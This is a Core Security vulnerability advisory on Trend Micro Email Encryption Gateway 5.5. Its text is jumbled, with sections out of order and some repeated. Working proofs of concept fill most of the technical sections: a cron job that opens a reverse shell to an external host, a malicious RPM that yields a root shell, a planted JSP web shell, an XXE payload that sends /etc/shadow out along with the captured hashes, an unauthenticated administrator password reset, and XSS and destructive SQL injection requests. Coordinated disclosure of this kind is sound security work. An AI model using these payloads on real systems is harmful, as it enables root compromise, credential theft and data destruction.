cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL Injection in emailSearch.jsp* [CVE-2018-6230] The SearchString parameter of the emailSearch.jsp script is not sanitized, leading to a SQL injection. As can be seen in the following excerpt, the emailSearch.jsp script reads a parameter named SearchString and calls the getResults method defined in the wsEmailSearch class. From webapps/ROOT/emailSearch.jsp: /----- if (session.getAttribute("UserName") != null) { response.setContentType("text/xml"); ws.setSearchParam(request.getParameter("SearchString")); java.util.Vector res = ws.getResults(); [...] -----/ The searchParam property is not sanitized before being used to build a dynamic SQL query, resulting in a SQL injection in the SELECT statement. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/wsEmailSearch: /----- public class wsEmailSearch { private String _searchParam = ""; public void setSearchParam(String searchParam) { _searchParam = searchParam; } public Vector getResults() { Vector res = new Vector(); Connection cnn = MySQLClient.GetInstance().GetConnection(); try { Statement query = cnn.createStatement(); ResultSet rs = query.executeQuery("SELECT address FROM RulesEmailAddresses WHERE address LIKE '%" + _searchParam + "%' ORDER BY address"); [...] -----/ The following proof of concept will cause all the e-mails on the database to be retrieved: /----- POST /emailSearch.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: */* Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Referer: https://server/policies.jsp Content-Length: 39 Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close SearchString=' OR '%1%'='%1 -----/ 8. *Report Timeline* 2017-06-05: Core Security sent an initial notification to Trend Micro, including a draft advisory. 2017-06-05: Trend Micro confirmed reception of advisory and informed they will submit it to the relevant technical team for validation and replication. 2017-06-22: Core Security asked for an update on the vulnerability reported. 2017-06-22: Trend Micro answered saying the cases are still being vetted and that they will commit a time when the solution is finalized. 2017-08-28: Core Security asked again for an update on the vulnerability reported. 2017-08-28: Trend Micro answered saying the team is still in the process of creating the official fix for the vulnerabilities, although there is still no official release date. 2017-10-02: Core Security asked again for an update on the vulnerability reported. 2017-10-02: Trend Micro answered saying the team are still finalizing the fix to ensure all vulnerabilities are covered. 2017-11-13: Core Security asked again (4th time) for an ETA for the official fix. We stated we need a release date or a thorough explanation on why after five months there is still no date defined. If there is no such answer we will be forced to publish the advisory. 2017-11-14: Trend Micro answered saying the team is still working on two vulnerabilities and due to the complexity and number of vulnerabilities overall found, their team requires more time. 2018-01-16: Core Security asked again (5th time) for an ETA for the official fix. 2018-01-23: Trend Micro answered proposing the publication date to be February 7th. 2018-01-24: Core Security thanked Trend Micro's answer and asked if all the vulnerabilities reported in the advisory will be addressed. In addition, Core Security asked for CVE-IDs. 2018-01-24: Trend Micro confirmed all submitted vulnerabilities will be addressed and notified Core Security they will send the CVE-IDs when have these assigned. In addition, Trend Micro sent its new PGP key. 2018-01-29: Core Security thanked Trend Micro's confirmation and agreed on the proposed release date. 2018-01-29: Trend Micro answered saying the team found a couple of issues during the QA test. Consequently, Trend Micro asked for additional time to fix the remaining vulnerabilities and required a separated disclosure time. 2018-01-29: Core Security answered its intention to report all the vulnerabilities in just one advisory and asked for a timeline for the fix. 2018-02-01: Core Security asked for an update on the remaining vulnerabilities. 2018-02-02: Trend Micro sent an update and requested a week extension. 2018-02-02: Core Security thanked Trend Micro's update and agreed to postpone the release. 2018-02-14: Trend Micro answered saying the remaining vulnerabilities will not be addressed in the patch due to its complexity; therefore, mitigation steeps will be recommending. Also, Trend Micro proposed February 21 as the release date. 2018-02-14: Core Security thanked Trend Micro's update and agreed on the proposed release date. 2018-02-21: Advisory CORE-2017-0006 published. 9. *References* [1] http://apac.trendmicro.com/apac/enterprise/network-web-messaging-security/email-encryption/ 10. *About CoreLabs* CoreLabs, the research center of Core Security, is charged with anticipating the future needs and requirements for information security technologies. We conduct our research in several important areas of computer security including system vulnerabilities, cyber attack planning and simulation, source code auditing, and cryptography. Our results include problem formalization, identification of vulnerabilities, novel solutions and prototypes for new technologies. CoreLabs regularly publishes security advisories, technical papers, project information and shared software tools for public use at: http://corelabs.coresecurity.com. 11. *About Core Security* Core Security provides companies with the security insight they need to know who, how, and what is vulnerable in their organization. The company's threat-aware, identity & access, network security, and vulnerability management solutions provide actionable insight and context needed to manage security risks across the enterprise. This shared insight gives customers a comprehensive view of their security posture to make better security remediation decisions. Better insight allows organizations to prioritize their efforts to protect critical assets, take action sooner to mitigate access risk, and react faster if a breach does occur. Core Security is headquartered in the USA with offices and operations in South America, Europe, Middle East and Asia. To learn more, contact Core Security at (678) 304-4500 or info@coresecurity.com 12. *Disclaimer* The contents of this advisory are copyright (c) 2018 Core Security and (c) 2018 CoreLabs,and are licensed under a Creative Commons Attribution Non-Commercial Share-Alike 3.0 (United States) License: http://creativecommons.org/licenses/by-nc-sa/3.0/us/ 13. *PGP/GPG Keys* This advisory has been signed with the GPG key of Core Security advisories team, which is available for download at http://www.coresecurity.com/files/attachments/core_security_advisories.asc

A missing authentication for appliance registration vulnerability in Trend Micro Email Encryption Gateway 5.5 could allow an attacker to manipulate the registration process of the product to reset configuration parameters. Authentication is not required to exploit this vulnerability. The specific flaw exists within the handling of the product registration process. The issue results from the lack of validating the product registration status prior to performing product registration. An attacker can leverage this vulnerability to reset the Administrator password. An attacker can exploit this issue to bypass authentication mechanism and perform unauthorized actions. This may lead to further attacks. There is a security vulnerability in TMEEG 5.5 Build 1111 and earlier versions, the vulnerability stems from the fact that the program does not perform authentication for device registration. *Advisory Information* Title: Trend Micro Email Encryption Gateway Multiple Vulnerabilities Advisory ID: CORE-2017-0006 Advisory URL: http://www.coresecurity.com/advisories/trend-micro-email-encryption-gateway-multiple-vulnerabilities Date published: 2018-02-21 Date of last update: 2018-02-21 Vendors contacted: Trend Micro Release mode: Coordinated release 2. *Vulnerability Information* Class: Cleartext Transmission of Sensitive Information [CWE-319], External Control of File Name or Path [CWE-73], Insufficient Verification of Data Authenticity [CWE-345], External Control of File Name or Path [CWE-73], Missing Authentication for Critical Function [CWE-306], Cross-Site Request Forgery [CWE-352], Improper Restriction of XML External Entity Reference [CWE-611], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') [CWE-79], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89], Improper Neutralization of Special Elements used in an SQL Command [CWE-89] Impact: Code execution Remotely Exploitable: Yes Locally Exploitable: Yes CVE Name: CVE-2018-6219, CVE-2018-6220, CVE-2018-6221, CVE-2018-6222, CVE-2018-6223, CVE-2018-6224, CVE-2018-6225, CVE-2018-6226, CVE-2018-6226, CVE-2018-6227, CVE-2018-6228, CVE-2018-6229, CVE-2018-6230 3. The encryption and decryption of email on the TMEEG client is controlled by a Policy Manager that enables an administrator to configure policies based on various parameters, such as sender and recipient email addresses, keywords, or PCI compliance. Encryption for Email Gateway presents itself as an SMTP interface and delivers email out over an SMTP to configured outbound MTAs. We also present two additional vectors to achieve code execution from a man-in-the-middle position. 4. *Vulnerable Packages* . 5. *Vendor Information, Solutions and Workarounds* Trend Micro published the following Security Notes: . https://success.trendmicro.com/solution/1119349-security-bulletin-trend-micro-email-encryption-gateway-5-5-multiple-vulnerabilities 6. *Credits* These vulnerabilities were discovered and researched by Leandro Barragan and Maximiliano Vidal from Core Security Consulting Services. The publication of this advisory was coordinated by Alberto Solino from Core Advisories Team. 7. Section 7.4 describes a vulnerability in this console that can be exploited to gain command execution as root. The vulnerable functionality is accessible only to authenticated users, but it is possible to combine 7.4 with the vulnerability presented in section 7.5 to bypass this restriction and therefore execute root commands from the perspective of a remote unauthenticated attacker. The application does also use an insecure update mechanism that allows an attacker in a man-in-the-middle position to write arbitrary files and install arbitrary RPM packages, leading to remote command execution as the root user. Additional Web application vulnerabilities were found, including cross-site request forgery (7.6), XML external entity injection (7.7), several cross-site scripting vulnerabilities (7.8, 7.9, 7.10), and SQL injection vulnerabilities (7.11, 7.12, 7.13). 7.1. *Insecure update via HTTP* [CVE-2018-6219] Communication to the update servers is unencrypted. The following URL is fetched when the application checks for updates: /----- [Request #1] http://downloads.privatepost.com/files/TMEEG/updates/data.html -----/ The product expects to retrieve a plain-text file with the following format: /----- [Version Info] [Installation RPM file name] [Path to release notes] -----/ If a new update is found, then the RPM file is downloaded from the following URL: /----- [Request #2] http://downloads.privatepost.com/files/TMEEG/updates/[Installation RPM file name] -----/ This means that the product does not do any kind of certificate validation or public key pinning, which makes it easier for an attacker to eavesdrop and tamper the data. 7.2. *Arbitrary file write leading to command execution* [CVE-2018-6220] The following code snippet is responsible for downloading the update file (com/identum/pmg/web/CheckForUpdates.java): /----- FileDownload fd = new FileDownload(); if (!fd.download(updateURLRoot + "/" + rpmFileName, "/tmp/" + rpmFileName)) { return 10; } [...] -----/ The rpmFileName variable is controlled by the attacker, as it is taken from the aforementioned update file. As a consequence, the attacker controls the path where the update file is going to be downloaded. The RPM file is written by the root user with 0644 permissions. Being able to write to the file system as root opens the door to several code execution vectors on Linux machines. In this PoC we present one vector which consist on creating a cron job on /etc/cron.d directory. The attacker can send the following response to [Request #1]: /----- HTTP/1.1 200 OK Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Tue, 23 May 2017 14:39:46 GMT Connection: close Content-Length: 26 5.7 ../../../../../../../etc/cron.d/test test.html -----/ As a result, the server will create the file /etc/cron.d/test. Its contents are also controlled by the attacker. When the update launches, the appliance will download it from the following URL: /----- http://downloads.privatepost.com/files/TMEEG/updates/../../../../../../../etc/cron.d/test -----/ The attacker can tamper the server's response and inject arbitrary data, such as a reverse shell payload: /----- * * * * * root /bin/bash -i >& /dev/tcp/external_server/1080 0>&1 -----/ gaining code execution upon exploitation: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 52171) bash: no job control in this shell [root@ localhost ~]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=user_u:system_r:unconfined_t -----/ 7.3. *Unvalidated software updates* [CVE-2018-6221] The update mechanism described in 7.2 does not validate the RPM file downloaded. An attacker in a man-in-the-middle position could tamper with the RPM file and inject its own. The following code snippet is responsible for installing the unvalidated RPM (com/identum/pmg/web/CheckForUpdates.java): /----- try { System.out.println("running file:"); System.out.println("rpm --upgrade --nodeps /tmp/" + rpmFileName); Process process = Runtime.getRuntime().exec("rpm --upgrade --nodeps /tmp/" + rpmFileName); [..] { -----/ In the following Proof of Concept, we crafted a malicious RPM file that executes a reverse shell once opened. This can be achieved by adding a reverse shell script to %pre section of RPM's SPEC file, which is executed previous to any installation step. As can be seen, this results in code execution as root: /----- $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 40445) bash: no job control in this shell [root@ localhost /]# id uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) context=root:system_r:rpm_script_t:SystemLow-SystemHigh -----/ 7.4. *Arbitrary logs location leading to command execution* [CVE-2018-6222] The location of the log files can be changed in the logConfiguration.do page. MimeBuildServer logs are particularly interesting because its contents can be controlled by an attacker. The first step is to point the log file to the Web application root. The following request redirects MimeBuildServer logs to /opt/tomcat/webapps/ROOT/pepito.jsp and enables full debug logs: /----- POST /logConfiguration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/logConfiguration.do Content-Type: application/x-www-form-urlencoded Content-Length: 798 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 client0=KeyManager&warnLevel0=3&infoLevel0=1&debugLevel0=0&path0=%2Fvar%2Flog%2Fppg%2Fkeymanserver.log&client1=LauncherServer&warnLevel1=3&infoLevel1=1&debugLevel1=0&path1=%2Fvar%2Flog%2Fppg%2Flauncher.log&client2=KeyManagerClient&warnLevel2=3&infoLevel2=1&debugLevel2=0&path2=%2Fvar%2Flog%2Fppg%2Fkeymanclient.log&client3=MTAInterface&warnLevel3=3&infoLevel3=1&debugLevel3=0&path3=%2Fvar%2Flog%2Fppg%2Fmtainterface.log&client4=PolicyManagerServer&warnLevel4=3&infoLevel4=1&debugLevel4=0&path4=%2Fvar%2Flog%2Fppg%2Fpolicymanager.log&client5=SupervisorServer&warnLevel5=0&infoLevel5=3&debugLevel5=0&path5=%2Fvar%2Flog%2Fppg%2FSupervisorServer.log&client6=MimeBuilderServer&warnLevel6=3&infoLevel6=3&debugLevel6=3&path6=%2Fopt%2Ftomcat%2Fwebapps%2FROOT%2Fpepito.jsp&action=logConfiguration%3Apostback -----/ The second step is to update the MimeBuilder configuration and insert arbitrary JSP code. One candidate is the "Encrypted meeting request email message" form. /----- POST /mimebuilderconfig.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/MimeBuilderConfig.do Content-Type: application/x-www-form-urlencoded Content-Length: 2915 Cookie: JSESSIONID=9363824A3BA637A8CC5B51955625075B DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 addEncryptionXHeader=on&encryptionXHeader=X-TMEEG-ENCRYPTED&addDecryptionXHeader=on&decryptionXHeader=X-TMEEG-DECRYPTED&addDecryptionNotice=off&decryptionNotice=javascript%3A%2F*%3C%2Fscript%3E%3Csvg%2Fonload%3D%27%2B%2F%22%2F%2B%2Fonmouseover%3D1%2F%2B%2F%5B*%2F%5B%5D%2F%2B%28%28new%28Image%29%29.src%3D%28%5B%5D%2B%2F%5C%2Ffud3uvq5miuqpikdqya3wzicu30woofc7z2nr%5C.burpcollaborator.net%2F%29.replace%28%2F%5C%5C%2Fg%2C%5B%5D%29%29%2F%2F%27%3E&errorOnVerificationFailure=off&meetingRequestEmailText=%3C%25%40+page+import%3D%22java.util.*%2Cjava.io.*%22%25%3E%0D%0A%3C%25%0D%0A%2F%2F%0D%0A%2F%2F+JSP_KIT%0D%0A%2F%2F%0D%0A%2F%2F+cmd.jsp+%3D+Command+Execution+%28unix%29%0D%0A%2F%2F%0D%0A%2F%2F+by%3A+Unknown%0D%0A%2F%2F+modified%3A+27%2F06%2F2003%0D%0A%2F%2F%0D%0A%25%3E%0D%0A%3CHTML%3E%3CBODY%3E%0D%0A%3CFORM+METHOD%3D%22GET%22+NAME%3D%22myform%22+ACTION%3D%22%22%3E%0D%0A%3CINPUT+TYPE%3D%22text%22+NAME%3D%22cmd%22%3E%0D%0A%3CINPUT+TYPE%3D%22submit%22+VALUE%3D%22Send%22%3E%0D%0A%3C%2FFORM%3E%0D%0A%3Cpre%3E%0D%0A%3C%25%0D%0Aif+%28request.getParameter%28%22cmd%22%29+%21%3D+null%29+%7B%0D%0A++++++++out.println%28%22Command%3A+%22+%2B+request.getParameter%28%22cmd%22%29+%2B+%22%3CBR%3E%22%29%3B%0D%0A++++++++Process+p+%3D+Runtime.getRuntime%28%29.exec%28request.getParameter%28%22cmd%22%29%29%3B%0D%0A++++++++OutputStream+os+%3D+p.getOutputStream%28%29%3B%0D%0A++++++++InputStream+in+%3D+p.getInputStream%28%29%3B%0D%0A++++++++DataInputStream+dis+%3D+new+DataInputStream%28in%29%3B%0D%0A++++++++String+disr+%3D+dis.readLine%28%29%3B%0D%0A++++++++while+%28+disr+%21%3D+null+%29+%7B%0D%0A++++++++++++++++out.println%28disr%29%3B+%0D%0A++++++++++++++++disr+%3D+dis.readLine%28%29%3B+%0D%0A++++++++++++++++%7D%0D%0A++++++++%7D%0D%0A%25%3E%0D%0A%3C%2Fpre%3E%0D%0A%3C%2FBODY%3E%3C%2FHTML%3E%0D%0A%0D%0A&encryptionVersion=zd&replyToSender=on&replyToAll=on&replyForward=on&zdMainTemplate=EncryptedMessageTemplate.html&zdAttachmentTemplate=EncryptedAttachmentTemplate.html&zdAttachmentPayloadTemplate=EncryptedAttachmentPayloadTemplate.html&preProcessMaxBlockSize=1914&preProcessMainDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&preProcessInlineDelimeter=%22%5C%3E%0D%0A%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22%0D%0A&b64EncodeAttachments=off&replyToSenderZdv4=on&replyToAllZdv4=on&replyForwardZdv4=on&zdMainTemplateZdv4=V4EncryptedMessageTemplate.htmlbt0ly&preProcessMaxBlockSizeZdv4=1914&preProcessMainDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeMessage%22+id%3D%22ibeMessagePart__%5BAUTONUM%5D__%22+value%3D%22&preProcessInlineDelimeterZdv4=%22%3E+%3Cinput+type%3D%22hidden%22+name%3D%22ibeInline%22+id%3D%22ibeInlinePart__%5BAUTONUM%5D__%22+value%3D%22&b64EncodeAttachmentsZdv4=off&maxProcessThreads=10&mimeBuilderAction=mimeconfig%3Apostback -----/ The next time the service components are restarted, the log file will be created with the desired JSP code. With the sample JSP code from the previous request, the attacker would then navigate to pepito.jsp and execute arbitrary commands as root: /----- https://[server]/pepito.jsp?cmd=id Command: id uid=0(root) gid=0(root) context=system_u:system_r:java_t -----/ 7.5. *Missing authentication for appliance registration* [CVE-2018-6223] The registration endpoint is provided for system administrators to configure the virtual appliance upon deployment. The following request changes the administrator password to "sombrero": /----- POST /register.jsp HTTP/1.1 Host: [server] Content-Type: application/x-www-form-urlencoded Content-Length: 414 action=register%3Apostback&activationCode1=EE&activationCode2=XXXX&activationCode3=XXXX&activationCode4=XXXX&activationCode5=XXXX&activationCode6=XXXX&activationCode7=XXXX&resellerCode=&hostName=tester.localdomain&regEmail=pentester1@coresecurity.com&contactName=Test+Test&contactEmail=pentester1@coresecurity.com&contactPhone=%2B5491145712447&userName=administrator&password=sombrero&confirmPassword=sombrero -----/ Note that a valid activation code is required. This code can be easily obtained by requesting a trial from Trend Micro's website. 7.6. *Lack of cross-site request forgery protection* [CVE-2018-6224] There are no Anti-CSRF tokens in any forms on the Web interface. This would allow an attacker to submit authenticated requests when an authenticated user browses an attacker-controlled domain. This vulnerability can be chained with 7.4 and lead to remote command execution. It could also be abused to force updates once the attacker is in a man-in-the-middle position to exploit 7.2 or 7.3, which would also lead to remote command execution. The following proof of concept starts the check for updates process. /----- <html> <body> <script>history.pushState('', '', '/')</script> <form action="https://[server]/checkForUpdates.do"> <input type="submit" value="Submit request" /> </form> </body> </html> -----/ 7.7. *XML external entity injection in configuration.jsp* [CVE-2018-6225] The pciExceptionXml parameter of the configuration.jsp script is vulnerable to XML external entity injection. The following proof of concept uses external entities to send the /etc/shadow file to an external server. /----- POST /configuration.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 938 Cookie: JSESSIONID=E8357364AE748ACB904BE6E34F47F2DB Connection: close Upgrade-Insecure-Requests: 1 incomingPort=25&externalHost=&outboundExternalPort=25&internalHost=&outboundInternalPort=25&pciUseSemantics=on&pciScanAttachments=on&pciExceptionbetween0=on&pciExceptionbetween1=on&pciExceptionText0=on&enabledInput=on&exceptionInput=&enabledInput=on&editExceptionInput=&enabledInput=on&startInput=&endInput=&enabledInput=on&startInput=&endInput=&action=configuration%3Apostback&pciExceptionXml=<%3fxml+version%3d"1.0"+encoding%3d"utf-8"%3f> <!DOCTYPE+roottag+[ +<ENTITY+%25+file+SYSTEM+"file%3a///etc/shadow"> +<!ENTITY+%25+dtd+SYSTEM+"http%3a//external_server/combine.dtd"> %25dtd%3b]> <ci_exceptions><pci_exception+enabled%3d"true"><tart><[CDATA[<head>]]>%26send%3b</start><end></head>]]&gt;&lt;/end>&lt;/pci_exception>&lt;pci_exception+enabled%3d"true">&lt;start><![CDATA[<style></start><end></style></end></pci_exception><pci_exception+enabled%3d"true"><start><head/></start></pci_exception></pci_exceptions> -----/ The combine.dtd file is hosted on an external server, and its contents are: /----- <?xml version="1.0" encoding="UTF-8"?> <!ENTITY % all "<!ENTITY send SYSTEM 'gopher://external_server:1080/?%file;'>"> %all; $ sudo nc -lvvp 1080 Listening on [0.0.0.0] (family 0, port 1080) Connection from [server] port 1080 [tcp/socks] accepted (family 2, sport 49676) root:$1$8PtHrAEM$DmIkWpxYSOzhM0KLJGZvY/:14090:0:99999:7::: bin:*:14089:0:99999:7::: daemon:*:14089:0:99999:7::: adm:*:14089:0:99999:7::: lp:*:14089:0:99999:7::: sync:*:14089:0:99999:7::: shutdown:*:14089:0:99999:7::: halt:*:14089:0:99999:7::: mail:*:14089:0:99999:7::: news:*:14089:0:99999:7::: uucp:*:14089:0:99999:7::: operator:*:14089:0:99999:7::: games:*:14089:0:99999:7::: gopher:*:14089:0:99999:7::: ftp:*:14089:0:99999:7::: nobody:*:14089:0:99999:7::: rpm:!!:14089:0:99999:7::: dbus:!!:14089:0:99999:7::: exim:!!:14089:0:99999:7::: nscd:!!:14089:0:99999:7::: vcsa:!!:14089:0:99999:7::: rpc:!!:14089:0:99999:7::: sshd:!!:14089:0:99999:7::: pcap:!!:14089:0:99999:7::: haldaemon:!!:14089:0:99999:7::: postgres:!!:14090:::::: tomcat:!!:14090:0:99999:7::: xfs:!!:14179:::::: postfix:!!:14194:::::: -----/ These actions require the user to be authenticated within the Web console, so an attacker would need to obtain valid credentials first. Possible vectors to achieve this include exploiting any of the XSS issues described in 7.8, 7.9 and 7.10, or leveraging the XSRF vulnerability described in 7.6. 7.8. *Reflected cross-site scripting in keymanserverconfig.jsp* [CVE-2018-6226] The deniedKeysExpireTimeout and keyAge parameters of the keymanserverconfig.jsp script are vulnerable to cross-site scripting. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/keymanserverconfig.jsp?keyAge=3&keyAgeUnits=m&deniedKeysExpireTimeout=6000yta9q%22%3e%3cscript%3ealert(1)%3c%2fscript%3ekb4w2xa9v0d&keymanServerAction=kmsconfig%3Apostback -----/ 7.9. *Reflected cross-site scripting in mimebuilderconfig.jsp* [CVE-2018-6226] The following parameters of the mimebuilderconfig.jsp script are vulnerable to cross-site scripting: decryptionXHeader, encryptionXHeader, meetingRequestEmailText, zdAttachmentPayloadTemplate, zdAttachmentTemplate, zdMainTemplate, zdMainTemplateZdv4. The following is a proof of concept to demonstrate the vulnerability: /----- https://[server]/mimebuilderconfig.jsp?zdMainTemplateZdv4=%22%3E%3Cscript%3Ealert(1)%3C/script%3E -----/ 7.10. *Stored cross-site scripting in editPolicy.jsp* [CVE-2018-6227] The hidEmails parameter of the editPolicy.jsp script is vulnerable to cross-site scripting. The following request adds a policy for the email address "<script>alert(1)</script>": /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 136 Cookie: JSESSIONID=7D25474429E52C823C63357255A5E781 DNT: 1 Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=<script>alert(1)</script>&hidConditions=&hidRuleId=1&hidDelete=&ruleResult=3&ruleTarget=3&envId=1 -----/ The input will be stored unescaped and rendered every time the policies.do script is executed. Excerpt of the policies.do source showing the injected script tag: /----- <tr> <td ondblclick="edit_policy(this);" style="border:solid 1px #AAAAAA;background-color:#F5F5F5;cursor:move;" onmousedown="mouse_down(this, event);" onmouseup="mouse_up(this);" onmouseout="mouse_out(this);" onmousemove="mouse_move(this, event);">Don't decrypt messages to <script>alert(1)</script> -----/ 7.11. *SQL injection in policies.jsp* [CVE-2018-6228] The hidEditId parameter of the policies.jsp script is not sanitized, leading to SQL injection. As can be seen in the following excerpt, the script reads a parameter named hidEditId and forwards it to the editPolicy.jsp script if it is not set to -1. From webapps/ROOT/policies.jsp: /----- <% if (request.getParameter("hidEditId") != null) if (request.getParameter("hidEditId").compareTo("-1") != 0) { String hid_edit_id = request.getParameter("hidEditId"); %><jsp:forward page="editPolicy.jsp"><jsp:param name="editRuleId" value="<%= hid_edit_id %>"/></jsp:forward><% } [...] -----/ The editPolicy.jsp script will pass this parameter without any modification to the loadRuleDetails method, which is defined in the formEditPolicy class From webapps/ROOT/editPolicy.jsp: /----- if (request.getParameter("editRuleId") != null) frm.loadRuleDetails(request.getParameter("editRuleId")); [...] -----/ Finally, the loadRuleDetails method will use the unsanitized parameter it receives to build a dynamic SQL statement as follows: From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean loadRuleDetails(String ruleId) { _databaseError = false; try { _ruleId = ruleId; _ruleResultId = dataStore.getRuleResultId(ruleId); _ruleForId = dataStore.getRuleForId(ruleId); _ruleEmails = dataStore.getRuleAddreses(ruleId); _ruleSubRules = dataStore.getSubRules(ruleId); [...] public String getRuleResultId(String ruleId) throws SQLException { Connection cnn = MySQLClient.GetInstance().GetConnection(); Statement query = cnn.createStatement(); String ruleResultId = ""; ResultSet rs = null; try { rs = query.executeQuery("SELECT RuleResultId FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The contents of ruleId will be appended to the SELECT query, resulting in a SQL injection. The following PoC opens a policy to edit, even though the hidEditId parameter is invalid. Due to the "always true" comparison, the first element is retrieved: /----- POST /policies.jsp HTTP/1.1 Host: server User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Content-Type: application/x-www-form-urlencoded Content-Length: 84 Referer: https://server/editPolicy.jsp Cookie: JSESSIONID=4CFE9B6E37DFABC16AF5D6F091F1A0E2 Connection: close Upgrade-Insecure-Requests: 1 action=policies%3Apostback&hidSequence=&hidEditId=178275005%20or%201%3d1%20LIMIT%201 -----/ 7.12. *SQL injection in editPolicy.jsp* [CVE-2018-6229] The hidRuleId parameter of the editPolicy.jsp script is not sanitized, leading to SQL injection in a DELETE statement. The following excerpt shows that the request object is forwarded to the DeletePolicy method implemented in the formEditPolicy class. From webapps/ROOT/editPolicy.jsp: /----- <% if (frm.isPostBack()) { if (request.getParameter("hidDelete").compareTo("YES") == 0) { frm.DeletePolicy(request); } [...] -----/ DeletePolicy reads the hidRuleId parameter and calls deletePolicy with it, without doing any sanitization. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/web/formEditPolicy: /----- public boolean DeletePolicy(HttpServletRequest request) { String ruleId = request.getParameter("hidRuleId"); boolean success = dataStore.deletePolicy(ruleId); _databaseError = (!success); return success; } -----/ Finally, the JPostgresDataHelper class uses the ruleId parameter to build dynamic SQL statements, as can be seen in the following extract. From webapps/ROOT/WEB-INF/classes/com/identum/pmg/data/JPostgresDataHelper: /----- public boolean deletePolicy(String ruleId) { Connection cnn = null; Statement query = null; boolean bSuccess = true; try { cnn = MySQLClient.GetInstance().GetConnection(); cnn.setAutoCommit(false); query = cnn.createStatement(); query.executeUpdate("DELETE FROM RulesEmailIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM SubRuleIndex WHERE RulesEngineId = " + ruleId); query.executeUpdate("DELETE FROM RulesEngine WHERE Id = " + ruleId); [...] -----/ The ruleId parameter will be appended as-is to the DELETE statements, resulting in a SQL injection. The following request will cause the RulesEmailIndex, SubRuleIndex, and RulesEngine tables to be truncated: /----- POST /editPolicy.jsp HTTP/1.1 Host: [server] User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.12; rv:53.0) Gecko/20100101 Firefox/53.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://[server]/policies.jsp Content-Type: application/x-www-form-urlencoded Content-Length: 133 Cookie: JSESSIONID=2B363A12C93CA038322EE551890FF30F Connection: close Upgrade-Insecure-Requests: 1 action=editPolicy%3Apostback&hidEmails=&hidConditions=&hidRuleId=223+OR++'1+'%3d+'1+'&hidDelete=YES&ruleResult=3&ruleTarget=3&envId=1 -----/ 7.13. *SQL 